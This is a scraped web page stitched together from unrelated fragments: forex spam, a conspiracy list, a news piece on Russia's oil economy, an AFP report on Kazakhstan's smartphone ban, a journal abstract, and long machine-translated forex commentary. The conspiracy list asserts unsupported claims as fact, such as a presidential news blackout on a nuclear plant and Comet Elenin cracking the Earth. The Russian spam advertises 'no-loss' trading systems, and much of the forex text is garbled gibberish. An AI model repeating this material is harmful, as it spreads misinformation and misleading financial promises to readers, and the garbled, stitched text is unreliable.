David Offman, a broker with the real estate services company the Lawrence Group, represented Forex in the deal. Offman couldn’t be reached for comment by press time.


DTZ mulls $2B bid for Cushman & Wakefield


The deal and information shared in the post is really good and informative. I am new to forex field and above post makes me to learn about some situation and information which are the part of forex. Thanks for this share. forex trading


10 Things Our Leaders Are Very Quiet About !


Number 1 – Fort Calhoun nuclear facility


The crisis at the Fort Calhoun nuclear facility in Nebraska has received almost no attention in the national mainstream media. Alamongordo found the US President Barack Hussein Obama has ordered a News Blackout over the Nebraska Nuclear Plant. In my research i even had articles strangely disappear when i wanted to look into them, very strange things happening there !


Number 2 – The Fukushima Disaster


The crisis at Fukushima continues to get worse. Arnold Gundersen, a former nuclear industry senior vice president, recently made the following statement about the Fukushima disaster. When you read my article “Several Prophets Predicted the Japan 2011 Earthquake ” you can see the prediction made is that millions of people will die, this prophecy thats also in the Bible is beiing fulfilled at this moment, only … You can’t see, smell or hear the radiation that is killing us !


Number 3 – The War Against Pakistan, Yemen and Lybia


Most Americans are aware that the U. S. is involved in wars in Iraq, Afghanistan and Libya. However, the truth is that the U. S. military is also regularly bombing Yemen and parts of Pakistan. The US started the War between NATO and Lybia and is preparing to help when Turkey invades Syria from the North. Also at this very moment plans are beiing made for a ground invasion to end the war agaist Lybia. A overall war with Pakistan could erupt any moment because of the drone strikes from the US Military.


Number 4 – Planet Earth is Becoming Unstable


All over the world, huge cracks are appearing for no discernible reason. For example, a massive crack that is approximately 3 kilometers long recent appeared in southern Peru. Also, a 500 foot long crack suddenly appeared recently in the state of Michigan. When you also throw in all of the gigantic sinkholes that have been opening all over the world, it is easy to conclude that the planet is becoming very unstable. If Comet Elenin is the “doomsday planet” it could be the gravity pulling on the earth, Elenin is coming closer and closer so these cracks could get even worse (if the Elenin theory is correct). Keep an eye on my “Elenin Timeline ” !


Number 5 – The Super EMP Weapon that North Korea has Tested


There are reports that North Korea has tested a “super EMP weapon ” which would be capable of taking out most of the U. S. power grid in a single shot. The North Koreans are apparently about to conduct another nuclear test and that has some Obama administration officials very concerned.


Number 6 – US and Israel are Waiting untill Iran Starts a Nuclear War


What are the US and Israel waiting for? We all know that Iran and nuclear weapons are a dangerous combination. Is the US or the World Elite waiting untill Iran detonates a nuclear device in or at the border with Israel to strike back? Or is the Arab-Spring the start of the war agaist Iran? Maybe a Turkish attack on Syria will be the start of the campaign against Iran soon. Is a Iranian Nuclear Test coming soon or will Iran use the Nuke agaist the West without testing it ?


Number 7 – NASA launched a “major” preparedness initiative for all NASA personnel


NASA has just launched a “major” preparedness initiative for all NASA personnel. The following is an excerpt about this plan. NASA Website .


A major initiative has been placed on Family/Personal Preparedness for all NASA personnel. The NASA Family/Personal Preparedness Program is designed to provide awareness, resources, and tools to the NASA Family (civil servants and contractors) to prepare for an emergency situation. The most important assets in the successful completion of NASA’s mission are our employees’ and their families. We are taking the steps to prepare our workforce, but it is your personal obligation to prepare yourself and your families for emergencies.


Number 8 – Over the Past Week over 40 temporary No Fly Zones declared by the FAA


Over the past week over 40 temporary “no fly zones ” have been declared by the FAA. This is very highly unusual. Nobody seems to know exactly why this is happening.


Number 9 – Chinese having huge Problems with Crops and Food


China’s eastern province of Zhejiang has experienced that worst flooding that it has seen in 55 years. 2 million people have already been forced to leave their homes. China has already been having huge problems with their crops over the past few years and this is only going to make things worse.


Number 10 – Over the Counter Trading of Gold and Silver is Going to be Illegal


Thanks to the Dodd-Frank Act, over the counter trading of gold and silver is going to be illegal starting on July 15th. Or at least that is what some companies apparently now believe. The following is an excerpt from an email that Forex. com recently sent out to their customers.


10 Things Our Leaders Are Very Quiet About


Торговая система форекс ussr-55


Банки


Во-вторых, средств на счёте очень мало и при движении цены не в нашу сторону их может быть не достаточно. В-третьих, я пытаюсь исключить все возможные риски в своей торговле (выход новости, преодоление какого-то уровня, выход из канала и т. д.) и поэтому считаю, что кратковременная торговля.


It depends on your capability to make the right decisions and to stick to them. Money management. There are a lot of smart and disciplined traders who still cannot succeed on the Forex market.


Новости


Можно ли неделю кормить семью на 1 500 рублей. Метки: Forex, бюджет, деньги, инвестиции, рынок ценных бумаг, финансы, форекс. В ответ я мямлю чего-то, типа, да, хорошо, я подумаю, может быть.


Лучшие беспроигрышные торговые стратегии и торговые сигналы Forex! Лучшие торговые системы форекс бесплатно, прибыльные торговые стратегии. идеальный комплекс индикаторов для беспроигрышной торговли! Рынок форекс весьма разнообразен. про беспроигрышные торговые системы или торговых роботов дающих большую прибыль с.


Фондовый рынок


Башни. Они подразделяются на японскую башню вершину и башню основание. Башенная вершина это разворотная японская модель восходящей тенденции, состоящая из большой белой свечи, за которой идет период застоя, после чего одна или несколько длинных свечей черного цвета.


Спортсмен должен соблюдать разумные меры предосторожности. Уменьшив степень риска, он может еще острее ощутить свою силу и реализованные возможности. Это относится и к биржевой игре. Успеха в биржевой игре можно достичь, лишь занимаясь ею как серьезным делом.


Финансы


Проверено FxNewsKiller и Flash News Trader. - 12:02 Статья Мы уже писали о том, какие сложности возникают перед трейдером во время поиска брокера для торговли на новостях. Сейчас в сети появилась ловушка-обманка, будьте осторожны.


Японская формация, 2 взлетевшие вороны. В ее состав входят три свечи. Первая, удлиненная белая свеча, вслед за которой с небольшим интервалом вверх идет маленькая черная. Третья свеча, черного тела, закрывается чуть ниже значения цены закрытия 2-й свечи.


Гиава 5 Дисхрецианность против механической системы торговои 55 ную п)рпи ун) с втгчг к игмтиш ыч ю тилгтшнм: подобные си - стемь. очгш дио. трой)ног юченсиий. Я знаком г системами, которые ошиьнюю пи множествы мвтгматичп в х формул, китирыг и влиостью шн ятиы тр и. Обналичивание денег с форекс счетов: В данный момент существует очень много методов снятия средств с торгового счета форекс: на кредитную карту, банковский счет, электронные системы платежей. Сегодня я постараюсь ответить на вопрос: «На какую платежную систему лучше вывести деньги с форекс депозита?» и «Как избежать. Важнейшим аспектом работы трейдера считается прогнозирование динамики котировок валютных пар. Такие прогнозы рынка на перспективу позволят принимать результативные решения для открытия и закрытия торговой позиции. Правильные форекс прогнозы помогают не только начинающим, но и опытным трейдерам точно оценить ситуацию, сложившуюся на рынке, а значит избежать. Портал le: книги и учебники Просмотреть все учебники направления: Forex и право.


В обучении работе на рынке Форекс и других финансовых рынках.


Тем не менее, торгуя на демо, вы хладнокровны и не боитесь потерять свои собственные средства, так как знаете, что это просто тренировка. Все становится гораздо интереснее и эмоциональнее, когда трейдер вкладывает собственные деньги и остается один на один с рынком, который беспощаден и таит в.


Помним, очень важен выбор брокера для скальпинга не все брокеры поддерживают полноценный скальпинг, где иногда все решают секунды. Источник: (При перепечатке статьи, активная ссылка на источник ОБЯЗАТЕЛЬНА ) Интересная статья? Пожалуйста, поделитесь ею в соц.


Как получить прибыль на форекс Также потребуется сканированная копия вашего паспорта, а может быть даже и ваше фото с паспортом в руке (зависит от требования брокера). После всего этого можете смело приступать к торговле на бонусном счете все полученные средства вы гарантированно обналичите.


28 29 » Форекс советник Forex Venture Bot Форекс советник Forex Venture Bot обнаруживает общую закономерность на рынке, что позволяет ему предсказать, в какую сторону пойдет тренд на рынке(с большой точностью).


Бесплатный видео курс Форекс для чайников - скачать без регистрации. Пошаговый. Вооружившись ими, Вы легко сможете заработать свой первый капитал. Вопрос: этот курс краткий обзор блога, типа для ч. новичков?


На мой взгляд реально, но не стоит рассчитывать, что у вас получится заработать хоть что-то уже через неделю или месяц. Возможно и получится заработать на форекс, но этот заработок будет скорей всего случайным, удачным стечением обстоятельств, т. е.


For Russia, Oil Collapse Has Soviet Echoes


For most countries, the economic slowdown in China and the accompanying slump in commodity prices represent something between nuisance and pothole. For Russia, they are a catastrophe.


Russia's currency and economy, already squeezed by Western sanctions, have been sent into virtual free fall by slumping oil prices. The International Monetary Fund predicted in July that Russia's economy would shrink 3.4% this year, the most of any major emerging market.


That now looks optimistic. Anders Aslund, a Russia expert at the Atlantic Council in Washington, thinks 6% is more likely. Coincidentally, that's close to what the Russian central bank predicted would happen if oil fell to $40 a barrel, roughly its current level.


Russian growth had averaged 7% from 1999 to 2008, due in great part to high oil and natural-gas prices. The oil collapse has exposed deep cracks in Russia's economic foundations: falling productivity, a shrinking labor force, uncompetitive industries, and private enterprise hemmed in by a kleptocratic state and crony capitalism.


The IMF now puts Russia's long-term potential growth at 1.5%. Mr. Aslund thinks it's just 1%, astonishing for a country whose standard of living is barely 40% that of the U. S.


This matters almost as much for the world as it does for Russia. Oil and gas wealth enabled Russian President Vladimir Putin to cement his hold on power domestically and flex Russia's muscles internationally. The loss of that wealth threatens to scramble the world's geopolitical order, though there are no signs of that yet.


There are parallels to the events that toppled the Soviet Union. Until the 1970s, oil and gas didn't dominate the Soviet economy. It was "an advanced (if inefficient) industrial and technological power," writes Thane Gustafson in his 2012 book, "Wheel of Fortune: the Battle for Oil and Power in Russia."


But its days were numbered. Socialist industrialization, stagnant agriculture unable to feed a growing urban population, a parasitic defense complex and uncompetitive manufacturing "made the fall of the regime inevitable," Yegor Gaidar, an architect of Russia's transition to a market economy under Boris Yeltsin, wrote in his 2006 analysis, "Collapse of an Empire: Lessons for Modern Russia."


The oil-price spikes of the 1970s staved off collapse while turning the Soviet Union into a petrostate. Oil and gas exports enabled Russia to pay for grain imports from the West, prop up its Eastern European satellites, and invade Afghanistan.


Mr. Gaidar, who died in 2009, traced the beginning of the end of the Soviet Union to Saudi Arabia's decision in 1985 to cease supporting the price of oil and ramp up production. The ensuing price collapse eviscerated Soviet export revenues. Forced to borrow from the West to pay for grain imports, Russia largely lost its strategic leverage, first over Eastern Europe and then over its Soviet republics. With hyperinflation and famine looming in 1991, the Soviet Union broke up.


The parallels shouldn't be overdrawn. Unlike the Soviet Union then, Russia today is a market economy, albeit one with a large state presence. Macroeconomic policy is relatively responsible. Last year the central bank abandoned the ruble's peg. The resulting drop has sent up inflation and squeezed living standards, but also cut imports.


Western sanctions over Russia's annexation of Crimea and support for separatists in eastern Ukraine have curtailed new foreign borrowing. This has preserved the surplus on Russia's current account--the balance on all trade and investment income--and its foreign currency reserves, preventing the sort of crisis that hit the Soviet Union in 1991 and Russia in 1998.


The more important parallel is the damaging legacy of oil and gas wealth. Russia has suffered a classic case of the "natural resource curse," the tendency of easy resource wealth to prop up inefficient industry, squeeze out manufacturing, and fuel corruption. Natural resource rents--revenues from oil, gas, coal, minerals and forest products minus their production costs--represent 18% of Russia's GDP, the highest among major emerging markets and far more than rich-country oil exporters like Canada and Norway. Mr. Putin has used those rents to modernize the military, expand the welfare state, and finance high-profile projects such as the Sochi Olympics.


Meanwhile, an expanding state-owned sector has undermined what private enterprise Russia had. Mr. Aslund cites the purchase by state-controlled oil company Rosneft of the well-managed, private competitor TNK-BP for $55 billion in 2013. Today, "value-destroying" Rosneft is worth less than TNK-BP was then. Western sanctions will further undermine productivity by depriving Russian industry, including oil and gas, of essential know how. As Western Europe seeks more stable sources of natural gas, Russian exports will be further squeezed.


Former president and current Prime Minister Dmitry Medvedev had sought to spur innovation to diversify away from oil and gas. But as Russia experts Clifford Gaddy and Barry Ickes write in a forthcoming book, even those diversification efforts depend on subsidies generated by oil and gas.


Many of Russia's top officials are well aware of its challenges. Central bank governor Elvira Nabiullina has called the current economic slump "structural," blaming "unfavorable demographic trends" and the "investment climate."


It isn't obvious, though, that Mr. Putin and his inner circle are listening. After all, economic hardship has yet to undermine his popularity at home or his ambitions abroad. History suggests that shouldn't be taken for granted.


Write to Greg Ip at greg. ip@wsj. com


ASTANA, Kazakhstan (AFP) – Ex-Soviet Kazakhstan is set to enforce a ban on smartphones in the workplace for police and government workers in an effort to prevent information leaks, according to a document that was itself leaked.


A government document leaked to the media in the Central Asian state on Thursday said smartphones would be banned starting March 24 for on-duty police officers and civil servants given "increasingly frequent cases of confidential information leaking through the WhatsApp mobile application".


A Kazakh civil servant told AFP on Friday that government workers had heard they would soon be searched for smartphones at the entrance of their workplaces but that such measures had not yet been implemented.


The Kazakh government has yet to comment on the leaked document's authenticity.


Interior Minister Kalmukhanbet Kasymov said Thursday that police had already been informally forbidden from using smartphones on the job.


Kasymov denied that the new ban was connected to a scandal that saw a photograph of a murdered student's corpse taken by police leaked and shared on social networks last month.


Ex-Kazakh officials have already spoken out against the ban.


Murat Abenov, a former deputy education minister, told AFP civil servants would now "carry smartphones in their socks."


"Smartphones help officials do elementary things like check the weather before they go on a trip or see how a word translates from Russian into Kazakh," he said.


"They could have simply introduced these limitations for people who work with confidential materials, rather than all officials," he added.


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Coverage: 2006-2015 (Vol. 1, No. 1-2 - Vol. 10, No. 3)


The "moving wall" represents the time period between the last issue available in JSTOR and the most recently published issue of a journal. Las paredes móviles se representan generalmente en años. In rare instances, a publisher has elected to have a "zero" moving wall, so their current issues are available in JSTOR shortly after publication. Note: In calculating the moving wall, the current year is not counted. For example, if the current year is 2008 and a journal has a 5 year moving wall, articles from the year 2002 are available.


Terms Related to the Moving Wall Fixed walls: Journals with no new volumes being added to the archive. Absorbed: Journals that are combined with another title. Complete: Journals that are no longer published or that have been combined with another title.


Subjects: Asian Studies, Area Studies


Preview not available


Abstracto


In existing scholarship, the formation of the Vietnamese Diaspora is often described as a result of the Second Indochina War. In this essay I examine other national and international historical events, such as the Vietnamese government's persecution of ethnic Chinese, the Cold War and French colonization of Vietnam, that contributed to the internal multiplicity and diversity of the Vietnamese Diaspora. Reading Thuận's novel Chinatown within the theoretical framework of freedom, I argue that a centuries-long history of political negotiation between Vietnam and international actors such as China and France has resulted in the oppression, internal exile and displacement of not only Vietnamese people, but also ethnic Chinese. Through an analysis of the relationship between the Vietnamese narrator and her ethnic Chinese husband, I reflect on the difficulties and potential of diasporic subjects to imagine a different kind of freedom that can challenge the different power dynamics regulating their life in both Vietnam and in the diaspora.


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Forex online minsky moment definition


But if China was forex online minsky moment definition have the misfortune of Korea or Thailand, etc, in the late 1990s and you had a 40%-50% devaluation, the volatility would go from like 2. Paul Hodges: I think we are now seeing the Minsky moment. Registered in England with company no. There is a vast Europe-wide rail network, again with reduced energy demand, and many bridges and tunnels have been built. And that is after the various sums given for deposits, tuition, cars, new kitchens, childcare etc by parents and grandparents. As they say what goes up must come down. Lastly, market rates are likely to continue to rise, reflecting increasing market unease with the growing number of near-defaults. Perhaps there are two countries, both called China.


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They both have the attitude of looking after what they have and, repairing things rather than replacing material objects. The percentage of take home pay devoted to house purchase is also the same as 13 years ago. Especially when drawing very specific conclusions. Our conclusion is a bit more pessimistic. The chart below showing a turning point in house prices inside China is also interesting.


Forex online minsky moment definition - this


Especially when drawing very specific conclusions. Credit TOM BACHTELL Twenty-five years ago, when most economists were extolling the virtues of financial deregulation and innovation, a maverick named Hyman P. The Minsky Options handeln in china im refers to the moment at which a credit boom driven by speculative and Ponzi borrowers begins to unwind. Who knows what earnings will be in 2032? Given the interlinkage forex online minsky moment definition the CCP and business over there, its sure going to be interesting. The USSR did not blow a credit bubble on anything like this scale, nor were they ever the worlds producer of cheap stuff but they did have many of their own resources. Today, those averages have risen to 9.


Forex online minsky moment definition - Answers


If anybody is at fault it is Greenspan, who kept interest rates too low for too long and ignored warnings, some from his own colleagues, about what was happening in the mortgage market. In the aftermath, financial markets have become even more tightly coupled as correlations in returns across multiple asset forex online minsky moment definition have been at historically elevated levels. Your age 55 is based on past experience not future preferences.


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Forex Course. There are several options for you if you choose to learn Forex Trading. You can buy books on the subject. There are many websites that could be chosen or you can enroll in a course at the local college. One of the best forex trading is a mentor, in-depth knowledge and has already had success with foreign currency trading to rent.


As we all know knowledge is the key to success in life. Therefore, an expert ForexTraders will generate a better chance of success in dealing with foreign currencies and be sure to make a profit, so we wanted to be a dealer at the forefront. Without this kind of knowledge that will more than likely just running blind, so maybe you're lucky, maybe once or twice, but in the long run you lose more than you.


Forex Knowledge


There is so much information on currency trading. In any library will find rows on rows of booksin the subject. On the Internet there are literally hundreds of websites for the topic. If the self-study is your preferred method surely find something that you can customize.


Forex Course: the importance of knowledge


The biggest drawback is that some of the websites can be very irregular and may be devoid of any real structure. There is no problem if there is a huge amount of information and advice found on the Internet. A lot of it is very useful, but trying to find exactly whatwant and then be able to follow instructions can be very difficult.


If you really want to become a successful entrepreneur, you need a forex course, go to that information in a logical and structured properly to pass. These types of course removed, for free on Internet, with everything up to the mark of a thousand dollars, the contract, but as with everything that you get what you pay for.


There are generally two types of courses to choose for youby.


Sure, the Internet, this type of course has the advantage that you can choose to study at any time as you want to do. The disadvantage is that you just graduated and is not always easy, the help they need, should be something that you are not sure about the possibility of obtaining.


The second type is, of course, the traditional classroom program. These types of courses are usually held in the city. The advantage is that you study withClassmates and the instructor there is always someone ready to help. However, you need your travel and accommodation of the class with the calendar. Prompt presence is required as missing classes can see you fall back, and can be difficult to achieve.


Besides these, there are also workshops, usually for two or three days you run the intensive training, although there are a lot of these seminars are usually targeted towards moreexperienced operators and are not really suitable for a beginner. What kind of forex course you choose, you should know what is possible, as you'll get long-term benefit.


Forex Course: the importance of knowledge


In any type and form of society which is not the key to success is always the ultimate knowledge. Any other claim in the presentation or the management of a company irrelevant when the most important factor is not having a good knowledge in this area is. people with the right knowledge at your fingertips, you can plan, make decisions and implement actions that contribute to success. But with little knowledge, or move any further action which couldlimited. The same is true if and only if you engage in the business of trading currencies.


Unlike in the early years after its launch, currency trading has grown very popular nowadays. With the help of web technology, an increasing number of people throw their way in this very powerful and increases in construction. Through the Internet, anyone can easily go online and then trade currencies in the forex market at will.


Forex Knowledge


But even if the ForexMarket easily accessible by anyone with a computer and an Internet connection, is not the process of exchange that simple. The process of buying and selling should be divided from someone who is just and correct knowledge about Forex Trading is executed, otherwise the loss of money very soon.


Forex Trading Knowledge – its importance for the professional and how to get start


There are several ways in which everyone can easily learn the process of trading currencies. One of the easiest ways is to visit foreignExchange-related sites. There are some Web sites to offer free Forex trading courses. You can access its range by taking too simple a member of their website. Some sites offer an immediate e-book tutorial that I invite you to sign with their success, while others do it in the form of a series of newsletters. In any case, both the resources and free tutorials will be very useful for learning.


Another very good option to learn Forex trading is through the occurrence of certain onlineCommunity currency traders. There are places that are only seen online, a community of pure stockbrokers. Once you are a member of the Community trade mark, you get certain privileges that are given to all members of this community to enjoy. One of them is open access to all available tools and materials available in this community. And the most important benefit of joining such a community has the privilege of being able to communicate and to learn from realprofessional currency traders. Take part actively in discussions and questions to them. In this way you will learn the strategies and techniques directly from professional trader himself.


Forex Trading Knowledge – its importance for the professional and how to get start


This illusion leads global same effect: 90-95% of the dealers then continued on their deposits loose with the study books by Bill Williams, Alexander Elder, Thomas Demark, J. Schwager, et al.


After the fire of their first deposit to check Forex traders running back learned to suffer losses in this way of laying the second, third and later. I'll try to explain below, where the above regularity grows, so that no dealerReiterates its previous "errors.


Forex Knowledge


This statistic is well known: 90% of Forex traders are losers … But the number has always been a matter of a Leviathan my doubts. Is not mentioned because of some other 95% -5% ratio losers winners of the TARP, and Brian Van June Intraday Trading. Secrets of the league given that 90% are generally naturally raises the question of whether there is someone to review the situation, clarify or refute the aboveFIG. Nobody is in addition to the directors of the biggest Western banks, rationalizing the prices of foreign exchange, but never raised the issue.


Forex Secret – Forex Literature as losing 90-95% of the distributors of their deposit (part I)


WHY '? Because if these statistics are published, will be final and rapid decline in the number of the hunt for quick profits from the forex market in the world. Otherwise, banks would keep his mother in advertising. Neither silence would lose if made at least a few points less than 90%. In any advertising, customer attractionguaranteed with a quote from the maximum and minimum benefit non-profit. This has always been, is and will always be a universal practice.


In conclusion, Forex is 10% winners to maximum effect among the traders. They attach to understand the forex market are quite simple and truisms that have reached steady daily income in the amounts recovered by others in the years or for life. Certainly those who are remembered, which were in the late '80s, the first in the USSR to adopt lawsTrade and the accumulation of them on the first floor has begun. The rules are so simple that any school boy or a student at the end of the first may be the way of a big city and established the Soviet Union and debris in the course of market relations in the post-Soviet scraped show increased.


All I know is the fact that over the years a new generation to laugh along the way, we can now unable to understand the laws, if currency ratesSpike is covered or all of a sudden.


With this arrangement, those who fast money in Forex a period much larger than that used in the creation of capital in the post-Soviet space (the Forex market is incomparably superior to that of the former Soviet Union), but the thought not to point of many.


Meanwhile, the trends at the bottom is less extensive than in the past 10-20 years. Although one look at the history charts you are able to understand how operatorsbe used to earn less than 20 to 40 points spreads, commissions and slippage. A trend was followed by a trend at that time.


And what now? Today, many traders are powerless are less than 3 points without commission and slippage win spread.


So this book is for those who receive certain laws of the Forex market. To understand how it reaches 5-10% of successful traders win, we begin to analyze why and how 90% of the outstanding players in a loss. The figure of 90% seems afraid to say, not to mention 95% or 98%. This is despite the amount of literature on the same question hundreds of basic books that are written by authors obtained with capitals with more than 7-digit numbers (G. Soros, B. Williams, A. Elder expressed, T. Demark).


So that is at least 90% of the intelligent, erudite, broad knowledge of people:


& # 8211; Verification of assets truly great players;


& # 8211; Start open accounts with forex brokers and banks, tradeand …


& # 8211; A lot of funds to complete the flight!


And where is the logic? The response also stems from thinking … There is something wrong in the literature (about the world, where deposits murder statistics disappointing, as is recognized in our country), as it is depressing until the results of the investigation.


¿Extraño? No, more natural, as strange as the following features:


1. What a great professional is not a reliable indicator for all, a greatMaster.


2. Variety of rules developed by researchers 10-40 years, is obsolete because the forex market is changing.


3. Scientists have shown that not all secrets, even under the then


FOREX, therefore, now turn out their advice and recommendations either outdated or naive.


So bring, if the advice and recommendations, all 9 of 10 market participants, their money in any country where you have the earlier books loosepublished and enjoyed all types of Hosanna in the press, not a teacher.


Of course, no dealer will reveal his secrets to the maximum. But the study of literature, an important bearing on the secrets of top Forex will be surprised, "admitted" in general, with a book on foreign exchange, up 99% of the common truth and 1% only useful innovations. But we must also train thousands of dealers perspective, it is loaded in any way with the contestants on the basisthe nature of the Forex market selling big. Without a doubt the top dealers are really great. You can agree or not, but everyone is reaping USD1 billion euro, or more deserves the name of "large". So one has to publish books as memoirs. I am not related to any irony in this decision since winning that person has acquired, compared to the Rock Fellers, their heads and their business activities or the Russian oligarchs who have stolen or inherited their dirt cheap capital by StateAuthority.


It is hoped, of course, the difference between these editions and manuals for beginners.


G. Kasparov, for example, is far from writing manuals for beginners of chess as the best work that is not compromised by others with this fact, Kasparov, a great chess player to complete. And his advice and the recommendation is of great interest to be rather a small circle of the Grand Master, as he touched the game of chess for the first time.


Actually Kasparovbut not for the lust for easy money, by virtue of his name in the chess world, tried and respected kitchen on hand for beginners.


On the other hand, Forex and for some reason, keeps all the teachers, the fact that millions of people around the world have made the stock market disappointed and angry with an inferiority complex exercise for life.


And so, the unanswered question for them: It 's all a scam or not, the profits nanowhile losses Titanic?


I've seen the book entitled "The Alchemy of Finance" by G. Soros (the one in the early 90's I read). I must admit that is interesting, instructive … but everything is told in such a disjointed manner and complicated. As stated in the preface to a U. S. investor, the theory was little understood by some only.


So what's the use of writing in such a way? One theory is usually on the outskirts, but it must be wrapped to be complicated for a simple, clearand readability. You are invited to try to read the book mentioned above as soon as you have time. In short, the theory of cyclical reflexivity Soros countries wear a few easy set-detention:


1. After liberation from the yoke of a totalitarian state is to lend, then there is a rapid growth and prosperity of the economy.


2. Once the above loans will be repaid, is the economy of a country is in recession natural.


Is it so hard? The problem can be addressed by a student (not to mention an American investor) said: "When countries should" Company "and bought shares to be sold if they are advantageous in order to gain the maximum profit? What if it is just too late to sell shares in the near future, has a heady growth in the price?


Located a long time ago, Soros is the theory completely in August, which was founded in 1998 by the sad experience in the Asian and Pacific confirmedCountries and then in Russia.


There is still another question: How should inarticulate Soros was to have put his theory to allow through a few?


The second part of the book is not worth retelling. Reading is definitely not leave his home much more instructive to my puzzle in it.


The theory is permeated by Soros 'strategy': Enter long on what was going to enjoy price increases with a probability of 100% and "pull out" your money profitablybefore the crisis, giving companies and facilitate their failures. This is my way of speaking with my students clearly on the complexity forex-and then my logic of teaching them. Despite its complexity (messages, TA, remedies, etc.), Forex is essentially reduced to a very simple truth: at any given time should not be too late to go short or long in a currency with "Tertium non data".


And when asked if the Alligator Williams need to add somethingThis is the response of most of my students, "Yes!" indicating what will be added. I'm going to try a vivisection detailed argument in a separate chapter to present ways that the Alligator Williams, but 50% effective.


Figure 4 H1 chart € 12 April 2005. (See note below)


The alligator jaw is formed when you open the top with a fractal 1.3006. According to Williams, one must enter into a long-highest, ie 1.3007. upward motion away 11 extrasPoints. Then he tilts the rate to fall sharply by 170 points. Another example.


Figure 5 Table H1 U. S. $ 22 April 2005. (See note below)


Please open 1,3,094 thousand figure, 16 points above the previous fractal, after the alligator up. Subsequently, a sharp swing cover down 140 pts. Hundreds of similar examples can be drawn. But what are the consequences?


With the alligator opened his mouth, 50% of the items must be per-Williams, while the remaining 50% - Counter-Williams (ie, a vector for the opening of the alligator mouth). When embarking on Forex, you must have a clear recognition of the difference between one of more than 50 shares%. & # 8230; Otherwise, you're doomed to lose, even if you follow the technique of Williams, let alone others.


Even my students are able to advise what needs to be taken with alligator vectoring to implement a proper voice. Least of all I would like this sample can be taken as a personal criticismBill Williams, whose contribution to the theory is a Forex are important. And the majority of operators, which I used to earn starting after studying his books. But do not go astray … without additives Williams was able to make a huge fortune as an authorized (by the way, the father of the alligator) is able to travel between a desktop and a return, or, say, apart, apartment, or, conversely, a low tendency to oppose the entry into vectorized. It 's all rathercourse for an experienced operator. But what beginners in terms of interpretation of a property, recovery or a trend?


These people are sure to help, especially in information technology is not presented in the literature to require Forex.


Without this knowledge is never a trader receiving the ABC stable daily income. But because the scholars Forex is not clear from the theme? This query is sent to them, not for me. In reading these buildings, I gethorrified by the fact that we have gone too high-sounding title of expensive books are not going to teach as a trader profits reach the market.


Let's open one of them (E. Nayman s' "Trader's Lexicon Minor" and "Master Trading: Secret Files") to understand the ways written almost all books on Forex and should be priced at USD20-100.


You can agree or not, but the name seems very nice and challenging "Master Trading SecretFiles ", 320 pages of pure intelligence …


However, I have no secrets was there! You are cordially invited to discuss a topic from you:


1. "The relationship between the factors and the dynamics of exchange rate policy" is a detailed history of how a country to promote macroeconomic growth, the voices of benign trade and political stability, the growth rate of exchange.


A "valuable" secrets are found in virtually every issue Forex. But below is a real mystery of the FA (not noticedby Nayman): Why are currency used to turn against his country's economic news? An entire chapter is devoted to the theme here.


2. "Construction of two moving averages on a chart single and double combinations of these." The author provides a recommendation "test" entries must be in the direction of the MV (secret that the most effective combination of MA 21, 55, 89, etc as per Fibonacci) are made.


The pseudo-secret nature of this recommendation is basedthe fact that each association-MA (should be 21 +55, as the author, 10 +20, as in many Western trading systems, after 13 1 21 5 +8 B. Williams as many dealers used) produces the same results.


De acuerdo. It all sounds fantastic. However, E. Nayman et al seem MA avoided crossing secret boss, the bank has suffered losses constants: a "lighter" MA is a "serious", for example, crossed, but … Then there are the sharp downturn resulting from the crossing AICagain.


Figure 6 Chart GBPUSD H1 in April, 21-26, 2005. (See note below)


A five-time tour through the MA 21:55 You are cordially invited dealers to calculate the losses.


Well, we call it a day with examples. The technique works perfectly through but powerless in certain circumstances, turning to others, thus inflicting losses to traders. No criteria has never been asked to be made available to scholars for or against Forex-divergencemoving averages.


3. MACD design and analysis. What kind of secrecy can be expected from the following list of Nayman, a second lower than the previous high suggests an upward trend exhaustion, or even with their changing the same be reversed MACD below the regulatory minimum. & Quot; A large part of a secret, right? I thought it was the operating principle of MACD, familiar to every Forex beginner. The secret-keeper B. Williams took even make the effort to suggest itemsChange 9, 12, 26 points in 5, 34 to 5 for a murderess delay.


Assuming the above, the real secret MACD ignored by scholars, the fact has caused losses to traders. The situation will come into force when a difference of education, without reversal of this trend with a new wave takes place, instead of being observed.


Figure 7 Chart GBPUSD H1 in April 2005, which crosses MA21 MA55 with a slight increase and a sharp drop. (See note below)


Figure 8 GBPUSD H1 chart from May 2005: a difference with MA10 MA21 crossing upwards, a short push to 1,8,916 thousand and a sharp slowdown. (See note below)


How is it different from other Forex Nayman and scholars who will identify the details of how, if MACD is reliable as a turning point and if the attribute does not touch.


4. TA classical models. One can not help but smile share a secret author of "head'n'shoulders" and "double bottom" pattern investigatedCourses for beginners to the first Forex.


And here is a real secret key: the cases in which the models, in fact, an indication of a reversal, but the cases where intermediaries are appropriate models TA-lover? Does anyone doubt that the models are not only known to the operators, but also for staff members with their mouths watering with a rod for the backs of the two lovers and connoisseurs of the previous model, just like on the sample table below:


Figure 9 GBPUSD H1 graph from May, 11.09,2005, a classic inverted H & S "(see note below)


If a turning point 1,8,871 thousand intoxicating top, turning up the alligator, MACD above zero, MA8 MA21-cut top, the vaunted Williams Awesome Oscillator long entry signal, the oscillator Accelerator top … However, the rate reaches 1,8,916 thousand and 1.8481 slipped by 450 points.


Warning: it is worth examining is the phenomenon of Nayman's "Trader's Encyclopedia Minor" and"Master Trading: secret documents" presumably to see why over 90% of traders lose again, after reading the books.


The solution, in my opinion, is that the Opuses above, but good, "the ABC FOREX" thus giving life to all Nayman advantages and disadvantages.


The boy is saved in the award in the first place for beginners to read by paying U. S. $ 50-200 at various Forex training courses or academies. Instead, you can download and study the books Nayman, whose extracts are cited in this respect for the traineesduring their studies. Nayman will generally expressed gratitude because it has determined, after the completion of the Basic Course Forex competent, popular and accessible.


This is the point, I explain all beginners, and I introduced: first, you should examine the books Nayman value, then it is only talking about hooks and crooks, instead of earning capacity in Forex is to lose.


However, there is a leader Nayman self-deception about his tome really any secret fileswithout offering something new to find a forex earnings to improve. These books contain unique or non-standard technical solutions are known for generalization and systematization of knowledge of what the forex Nayman before.


But this fact was not made by a majority of: Live accounts open charm and losers turn inevitable "Master Trading Secret Files."


Shortly after their first success on a demo accountthese people rushed to open accounts and losses do live. But because the dealer staff to convince them it was the random nature of these losses, people would dare to go and live for the killers of storage are new.


proclaimed with these facts, I do not think it appropriate to call all the statistics to the aid of science. Any reasonable person is to understand your previous losses have not as random characters.


There was no other way aroundit.


The next stage of training consists of books dealer B. Williams: "Trading Chaos" and "New aspects of negotiation", in which the author presents his own Forex trading techniques with the publicity of others, "namely, Elliott.


